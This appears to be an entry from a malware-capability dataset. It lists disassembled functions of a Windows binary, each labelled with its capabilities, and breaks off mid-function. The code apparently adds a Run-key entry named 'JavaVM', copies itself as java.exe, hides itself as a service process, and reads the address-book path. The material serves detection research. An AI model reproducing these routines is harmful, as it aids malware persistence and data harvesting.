joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43d33b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44ba78]
jne 0x43d345
repz ret
jmp fcn.0044290c

Function at 0x4440fb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0043e6ca
and dword [ebp - 4], 0
cmp dword [0x4519fc], 0
mov ebx, eax
jne 0x4441ac
push 0x402478
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x44425d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40246c
push edi
call esi
test eax, eax
je 0x44425d
push eax
call fcn.0043e658
mov dword [esp], 0x40245c
push edi
mov dword [0x4519fc], eax
call esi
push eax
call fcn.0043e658
mov dword [esp], 0x402448
push edi
mov dword [0x451a00], eax
call esi
push eax
call fcn.0043e658
mov dword [esp], 0x40242c
push edi
mov dword [0x451a04], eax
call esi
push eax
call fcn.0043e658
pop ecx
mov dword [0x451a0c], eax
test eax, eax
je 0x4441ac
push 0x402414
push edi
call esi
push eax
call fcn.0043e658
pop ecx
mov dword [0x451a08], eax
mov eax, dword [0x451a08]
cmp eax, ebx
je 0x444204
cmp dword [0x451a0c], ebx
je 0x444204
push eax
call fcn.0043e6d3
push dword [0x451a0c]
mov esi, eax
call fcn.0043e6d3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x444204
test edi, edi
je 0x444204
call esi
test eax, eax
je 0x4441fb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4441fb
test byte [ebp - 0xc], 1
jne 0x444204
or dword [ebp + 0x10], 0x200000
jmp 0x44423d
mov eax, dword [0x451a00]
cmp eax, ebx
je 0x44423d
push eax
call fcn.0043e6d3
pop ecx
test eax, eax
je 0x44423d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x44423d
mov eax, dword [0x451a04]
cmp eax, ebx
je 0x44423d
push eax
call fcn.0043e6d3
pop ecx
test eax, eax
je 0x44423d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4519fc]
call fcn.0043e6d3
pop ecx
test eax, eax
je 0x44425d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44425f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x502c90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov byte [ebp - 0x24], 0x53
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x66
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x77
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x5c
mov byte [ebp - 0x1b], 0x4d
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x63
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x6f
mov byte [ebp - 0x16], 0x73
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x5c
mov byte [ebp - 0x11], 0x44
mov byte [ebp - 0x10], 0x61
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], bl
mov dword [esi], ebx
mov byte [ebp + 0xb], bl
mov edi, connect
lea eax, [ebp - 4]
push eax
push 0x20019
lea eax, [ebp - 0x24]
push ebx
push eax
mov al, byte [ebp + 0xb]
neg al
sbb eax, eax
add eax, edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x502d83
inc byte [ebp + 0xb]
cmp byte [ebp + 0xb], 2
jl 0x502d0f
mov dword [esi], 1
mov byte [ebp + 0xb], bl
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20006
push ebx
push ebx
lea eax, [ebp - 0x24]
push ebx
push eax
mov al, byte [ebp + 0xb]
neg al
sbb eax, eax
add eax, edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x502d75
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc byte [ebp + 0xb]
cmp byte [ebp + 0xb], 2
jl 0x502d43
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x502d7e

Function at 0x502d8e
Capabilities:
Check mutex on windows
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push esi
mov esi, 0x100
push edi
push esi
lea eax, [ebp - 0x100]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x100]
push esi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x100]
push 0x501188
push eax
call esi
xor edi, edi
cmp byte [ebp - 0x100], 0
je 0x502e0b
push ebx
lea ecx, [ebp + edi - 0x100]
or byte [ecx], 0x20
mov al, byte [ecx]
cmp al, 0x61
jge 0x502dff
cmp al, 0x7a
jle 0x502dff
mov eax, edi
push 0x1a
cdq
pop ebx
idiv ebx
add dl, 0x41
mov byte [ecx], dl
inc edi
cmp byte [ebp + edi - 0x100], 0
jne 0x502dde
pop ebx
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x100]
push eax
call esi
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x100]
push eax
call esi
lea eax, [ebp - 0x100]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
sub eax, 0xb7
pop edi
neg eax
sbb eax, eax
pop esi
inc eax
leave
ret
Function at 0x502e50
Capabilities:
Check if file exists
Copy file
Delete file
Get common file path
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
lea eax, [ebp - 0x22c]
xor ebx, ebx
push 0x104
push eax
push ebx
mov byte [ebp - 0xc], 0x6a
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x76
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], bl
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea ecx, [ebp - 0x22c]
add eax, 4
push ecx
push eax
mov dword [ebp - 0x10], eax
call edi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov dword [ebp + 8], ebx
cmp dword [ebp + 8], ebx
lea eax, [ebp - 0x128]
jne 0x502ecf
push 0x118
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
jmp 0x502edb
push eax
push 0x118
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
cmp byte [ebp - 0x128], bl
je 0x502f90
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x128]
dec ecx
cmp byte [eax + ecx], 0x5c
je 0x502f0f
lea eax, [ebp - 0x128]
push 0x501190
push eax
call esi
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x128]
push eax
call esi
lea eax, [ebp - 0x128]
push 0x20
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push ebx
push 0x80
push 2
push ebx
push 3
lea eax, [ebp - 0x128]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, ebx
je 0x502f7e
cmp eax, 0xffffffff
je 0x502f7e
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [ebp - 0x128]
push ebx
push eax
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jmp 0x502f8e
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x502f9f
inc dword [ebp + 8]
cmp dword [ebp + 8], 2
jl 0x502eb6
jmp 0x502fab
lea eax, [ebp - 0x128]
push eax
push dword [ebp - 0x10]
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x502fb0
Capabilities:
Contain obfuscated stackstrings
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
mov edi, 0x20006
xor ebx, ebx
push eax
push edi
lea eax, [ebp - 0x3c]
push ebx
push eax
push connect
mov byte [ebp - 0x3c], 0x53
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x66
mov byte [ebp - 0x39], 0x74
mov byte [ebp - 0x38], 0x77
mov byte [ebp - 0x37], 0x61
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x65
mov byte [ebp - 0x34], 0x5c
mov byte [ebp - 0x33], 0x4d
mov byte [ebp - 0x32], 0x69
mov byte [ebp - 0x31], 0x63
mov byte [ebp - 0x30], 0x72
mov byte [ebp - 0x2f], 0x6f
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x6f
mov byte [ebp - 0x2c], 0x66
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x5c
mov byte [ebp - 0x29], 0x57
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x64
mov byte [ebp - 0x25], 0x6f
mov byte [ebp - 0x24], 0x77
mov byte [ebp - 0x23], 0x73
mov byte [ebp - 0x22], 0x5c
mov byte [ebp - 0x21], 0x43
mov byte [ebp - 0x20], 0x75
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x56
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x72
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x69
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x6e
mov byte [ebp - 0x13], 0x5c
mov byte [ebp - 0x12], 0x52
mov byte [ebp - 0x11], 0x75
mov byte [ebp - 0x10], 0x6e
mov byte [ebp - 0xf], bl
mov byte [ebp - 0xc], 0x4a
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x76
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], 0x56
mov byte [ebp - 7], 0x4d
mov byte [ebp - 6], bl
call esi
test eax, eax
je 0x5030c2
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 0x3c]
push ebx
push eax
push connect
call esi
test eax, eax
jne 0x5030eb
mov esi, dword [ebp + 8]
add esi, 4
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push eax
push esi
push 1
lea eax, [ebp - 0xc]
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x50315c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
and byte [ebp - 2], 0
push 0x501178
mov byte [ebp - 0x18], 0x52
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x67
mov byte [ebp - 0x15], 0x69
mov byte [ebp - 0x14], 0x73
mov byte [ebp - 0x13], 0x74
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0x72
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x76
mov byte [ebp - 0xc], 0x69
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x50
mov byte [ebp - 8], 0x72
mov byte [ebp - 7], 0x6f
mov byte [ebp - 6], 0x63
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], 0x73
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
test eax, eax
je 0x5031e2
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x5031e2
push 1
push 0
call eax
leave
ret

Function at 0x5031e4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.00502c90
xor edi, edi
pop ecx
cmp dword [esi], edi
jne 0x503204
push esi
call fcn.00502d8e
test eax, eax
pop ecx
jne 0x50327c
call fcn.005075e5
push esi
call fcn.00502e50
push esi
call fcn.00502fb0
pop ecx
pop ecx
call fcn.0050315c
cmp dword [esi], edi
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
je 0x503255
lea eax, [ebp + 8]
push eax
push edi
push edi
push 0x50311c
push edi
push edi
call esi
call fcn.005033b4
movzx eax, ax
push 0x50
cdq
pop ecx
idiv ecx
add edx, 0x1e
imul edx, edx, 0x3e8
push edx
call ebx
call fcn.00504c09
lea eax, [ebp + 8]
push eax
push edi
push edi
push 0x504c1b
push edi
push edi
call esi
call fcn.0050511c
call fcn.0050565b
push 0x3e8
call ebx
jmp 0x50326e
pop edi
pop esi
pop ebp
ret

Function at 0x503280
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
lea eax, [ebp - 0x298]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.005033a8
push 0x108
lea eax, [ebp - 0x108]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x108]
push eax
call fcn.005031e4
add esp, 0x10
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x503620
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
and byte [ebp - 5], 0
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 0x10], 0x77
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x65
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x2e
mov byte [ebp - 8], 0x64
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0x6c
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
test eax, eax
jne 0x503672
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
test eax, eax
je 0x503682
push 0x5012b4
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
jne 0x503687
push 2
pop eax
leave
ret
lea ecx, [ebp - 4]
push 0
push ecx
call eax
neg eax
sbb eax, eax
neg eax
leave
ret
Function at 0x503697
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
push esi
push 0x3c
push dword [ebp + 8]
call edi
lea eax, [ebp - 4]
mov ebx, dword [sym.imp.KERNEL32.DLL_ReadFile]
push esi
push eax
lea eax, [ebp - 8]
push 4
push eax
mov dword [ebp - 4], esi
push dword [ebp + 8]
call ebx
cmp dword [ebp - 4], 4
jne 0x503776
push esi
push esi
push dword [ebp - 8]
push dword [ebp + 8]
call edi
cmp eax, dword [ebp - 8]
jne 0x503776
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x20]
push 0x16
push eax
push dword [ebp + 8]
call ebx
cmp dword [ebp - 4], 0x16
jne 0x503776
mov eax, dword [ebp - 0x20]
mov dword [ebp - 4], 0x500
xor eax, 0x4550
test ax, ax
jne 0x503776
cmp word [ebp - 0x1a], si
je 0x503776
cmp word [ebp - 0x1a], 0xa
ja 0x503776
movzx eax, word [ebp - 0xc]
mov ecx, dword [ebp - 8]
push esi
push esi
lea eax, [ecx + eax + 0x18]
push eax
mov dword [ebp - 8], eax
push dword [ebp + 8]
call edi
xor edi, edi
cmp word [ebp - 0x1a], si
mov dword [ebp - 8], esi
jbe 0x503772
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x48]
push 0x28
push eax
push dword [ebp + 8]
mov dword [ebp - 4], esi
call ebx
cmp dword [ebp - 4], 0x28
jne 0x503776
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
add eax, ecx
cmp eax, edi
jbe 0x503766
mov edi, eax
movzx eax, word [ebp - 0x1a]
inc dword [ebp - 8]
cmp dword [ebp - 8], eax
jb 0x50373f
mov eax, edi
jmp 0x503778
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x503819
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
push 0x400
lea eax, [ebp - 0x400]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov word [ebp - 0x400], ax
mov ax, word [ebp + 0x14]
push 1
mov word [ebp - 0x3fe], ax
call dword [sym.imp.WS2_32.dll_htons]
xor edx, edx
mov word [ebp - 0x3fc], ax
cmp byte [edi], dl
mov word [ebp - 0x3fa], bx
mov word [ebp - 0x3f8], bx
mov word [ebp - 0x3f6], bx
je 0x5038d7
lea esi, [ebx + edi]
mov eax, ebx
mov cl, byte [esi]
jmp 0x503893
cmp cl, 0x2e
je 0x503897
inc eax
mov cl, byte [eax + edi]
test cl, cl
jne 0x50388a
mov cl, al
sub cl, bl
mov byte [ebp + edx - 0x3f4], cl
inc edx
cmp ebx, eax
jge 0x5038c5
sub eax, ebx
lea edi, [ebp + edx - 0x3f4]
mov ecx, eax
add ebx, eax
mov dword [ebp + 0x14], ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
add edx, eax
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebp + 0x10]
cmp byte [ebx + edi], 0x2e
jne 0x5038cf
inc ebx
cmp byte [ebx + edi], 0
jne 0x503881
xor ebx, ebx
mov edi, dword [sym.imp.WS2_32.dll_htons]
and byte [ebp + edx - 0x3f4], 0
push 0xf
lea esi, [edx + 0xd]
call edi
mov word [ebp + esi - 0x400], ax
inc esi
push 1
inc esi
call edi
push 0x10
mov word [ebp + esi - 0x400], ax
push dword [ebp + 0xc]
add esi, 2
lea eax, [ebp - 0x400]
push ebx
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
xor ecx, ecx
pop edi
test eax, eax
setle cl
pop esi
mov eax, ecx
pop ebx
leave
ret
Function at 0x503ff8
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call fcn.00503e35
test eax, eax
pop ecx
jne 0x50400b
jmp fcn.00503ef3
ret

Function at 0x5047b7
Capabilities:
Create thread

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x84
mov eax, dword [0x50b38c]
push esi
xor esi, esi
test eax, eax
je 0x50486e
mov eax, dword [eax + 6]
inc esi
test eax, eax
jne 0x5047d2
test esi, esi
je 0x50486e
call fcn.005033d0
xor edx, edx
xor ecx, ecx
div esi
mov eax, dword [0x50b38c]
test edx, edx
jle 0x504802
test eax, eax
je 0x50486e
mov eax, dword [eax + 6]
inc ecx
cmp ecx, edx
jl 0x5047f6
test eax, eax
je 0x50486e
add eax, 0xa
jmp 0x504811
cmp cl, 0x40
je 0x50481c
inc eax
mov cl, byte [eax]
test cl, cl
jne 0x50480b
cmp cl, 0x40
jne 0x50486e
inc eax
push 0x7f
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpynA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, 0xa
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
test esi, esi
je 0x50486e
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp + 0x74]
push eax
push 0
push esi
push 0x50477f
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop esi
add ebp, 0x78
leave
ret

Function at 0x504ae2
Capabilities:
Create thread

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [0x50b390], edi
jmp 0x504b06
push 1
call fcn.00505127
mov dword [esp], 0x4e20
call dword [sym.imp.KERNEL32.DLL_Sleep]
call fcn.00503620
test eax, eax
je 0x504af2
xor esi, esi
xor ebx, ebx
xor ebp, ebp
xor eax, eax
cmp edi, 1
sete al
push eax
call fcn.00505127
mov eax, dword [0x50b38c]
pop ecx
test eax, eax
mov dword [esp + 0x10], esi
je 0x504b7a
inc ebx
cmp byte [eax + 5], 0
jne 0x504b45
inc ebp
test esi, esi
je 0x504b43
mov cl, byte [esi]
cmp cl, byte [eax]
jle 0x504b45
mov esi, eax
mov ecx, dword [eax + 1]
cmp ecx, dword [esp + 0x10]
jb 0x504b52
mov dword [esp + 0x10], ecx
mov eax, dword [eax + 6]
test eax, eax
jne 0x504b31
cmp ebx, 0x1fa0
jl 0x504b7a
call fcn.00504a85
xor edi, edi
cmp ebp, 0x200
jle 0x504b7c
inc edi
push edi
call fcn.00505127
pop ecx
jmp 0x504b7c
xor edi, edi
xor eax, eax
cmp ebp, eax
je 0x504bd6
cmp esi, eax
je 0x504bd6
cmp dword [0x50b390], 8
jb 0x504b99
push 0xc8
jmp 0x504b00
lea ecx, [esp + 0x14]
mov byte [esi + 5], 1
push ecx
push eax
push esi
push 0x504a37
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
test eax, eax
je 0x504bc8
cmp eax, 0xffffffff
je 0x504bc8
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x55
jmp 0x504b00
mov byte [esi + 5], 2
push 0x320
jmp 0x504b00
push 2
pop edi
push eax
call fcn.00505127
cmp ebx, 3
pop ecx
jl 0x504bcc
cmp dword [esp + 0x10], 0
je 0x504bcc
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
sub eax, dword [esp + 0x10]
cmp eax, 0x3e8
jb 0x504bcc
call fcn.005047b7
push 0x64
jmp 0x504b00
Function at 0x504e00
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor ebx, ebx
push wvsprintfA
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x504e2b
xor eax, eax
inc eax
jmp 0x504ee7
push esi
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, ebx
mov dword [ebp - 0x14], eax
je 0x504ed0
cmp eax, 0xffffffff
je 0x504ed0
push edi
lea ecx, [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
mov esi, 0x8000
push ecx
push esi
mov dword [ebp - 0xc], ebx
push dword [ebp - 8]
mov dword [ebp - 0x10], ebx
push eax
jmp 0x504eb6
cmp ecx, esi
jbe 0x504e7c
mov ecx, esi
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 8]
add dword [ebp - 0xc], ecx
mov byte [ecx + eax], bl
push dword [ebp - 4]
push eax
call fcn.00504c29
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00504d0c
add esp, 0x10
add dword [ebp - 0x10], eax
jne 0x504eaa
cmp dword [ebp - 0xc], 0x4b000
ja 0x504ec2
lea eax, [ebp - 4]
push ebx
push eax
push esi
push dword [ebp - 8]
push dword [ebp - 0x14]
mov dword [ebp - 4], ebx
call edi
mov ecx, dword [ebp - 4]
cmp ecx, ebx
jne 0x504e73
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor esi, esi
pop edi
jmp 0x504ed3
xor esi, esi
inc esi
push dword [ebp - 8]
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x504eea
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x94
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push dword [ebp + 0x7c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
cmp esi, ebx
mov dword [ebp + 0x64], esi
je 0x504fee
cmp esi, 0xffffffff
je 0x504fee
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push ebx
push ebx
push ebx
push 2
push ebx
push esi
mov dword [ebp + 0x68], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
cmp eax, ebx
mov dword [ebp + 0x60], eax
je 0x504fe9
cmp eax, 0xffffffff
je 0x504fe9
push edi
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov edi, eax
cmp edi, ebx
jne 0x504f6c
push 3
pop ebx
jmp 0x504fd2
mov eax, dword [edi + 0x64]
mov ecx, dword [edi + 0x60]
cmp eax, ebx
jbe 0x504fcb
mov dword [ebp + 0x70], ecx
mov dword [ebp + 0x6c], eax
mov esi, dword [ebp + 0x70]
push 0x80
lea eax, [ebp - 0x20]
push ebx
push eax
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 0x68]
add esp, 0xc
xor eax, eax
cmp esi, ecx
jae 0x504fc2
cmp eax, 0x44
jae 0x504fb2
mov dl, byte [esi + edi]
mov byte [ebp + eax - 0x20], dl
cmp byte [esi + edi], bl
je 0x504fb2
inc eax
inc esi
inc esi
cmp esi, ecx
jb 0x504f9a
cmp eax, ebx
jbe 0x504fc2
lea eax, [ebp - 0x20]
push ebx
push eax
call fcn.0050463f
pop ecx
pop ecx
add dword [ebp + 0x70], 0x44
dec dword [ebp + 0x6c]
jne 0x504f7c
push edi
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
push dword [ebp + 0x60]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
push dword [ebp + 0x64]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, ebx
jmp 0x504ff1
push 2
pop ebx
jmp 0x504fdc
xor eax, eax
inc eax
pop esi
pop ebx
add ebp, 0x74
leave
ret
Function at 0x504ff8
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
lea eax, [ebp - 0x30]
push ebx
xor ebx, ebx
push eax
push 0x20019
lea eax, [ebp - 0x2c]
push ebx
push eax
push connect
mov byte [ebp - 0x2c], 0x53
mov byte [ebp - 0x2b], 0x6f
mov byte [ebp - 0x2a], 0x66
mov byte [ebp - 0x29], 0x74
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x61
mov byte [ebp - 0x26], 0x72
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x5c
mov byte [ebp - 0x23], 0x4d
mov byte [ebp - 0x22], 0x69
mov byte [ebp - 0x21], 0x63
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x73
mov byte [ebp - 0x1d], 0x6f
mov byte [ebp - 0x1c], 0x66
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x5c
mov byte [ebp - 0x19], 0x57
mov byte [ebp - 0x18], 0x41
mov byte [ebp - 0x17], 0x42
mov byte [ebp - 0x16], 0x5c
mov byte [ebp - 0x15], 0x57
mov byte [ebp - 0x14], 0x41
mov byte [ebp - 0x13], 0x42
mov byte [ebp - 0x12], 0x34
mov byte [ebp - 0x11], 0x5c
mov byte [ebp - 0x10], 0x57
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 0xd], 0x20
mov byte [ebp - 0xc], 0x46
mov byte [ebp - 0xb], 0x69
mov byte [ebp - 0xa], 0x6c
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x20
mov byte [ebp - 7], 0x4e
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x6d
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x505119
push 0x100
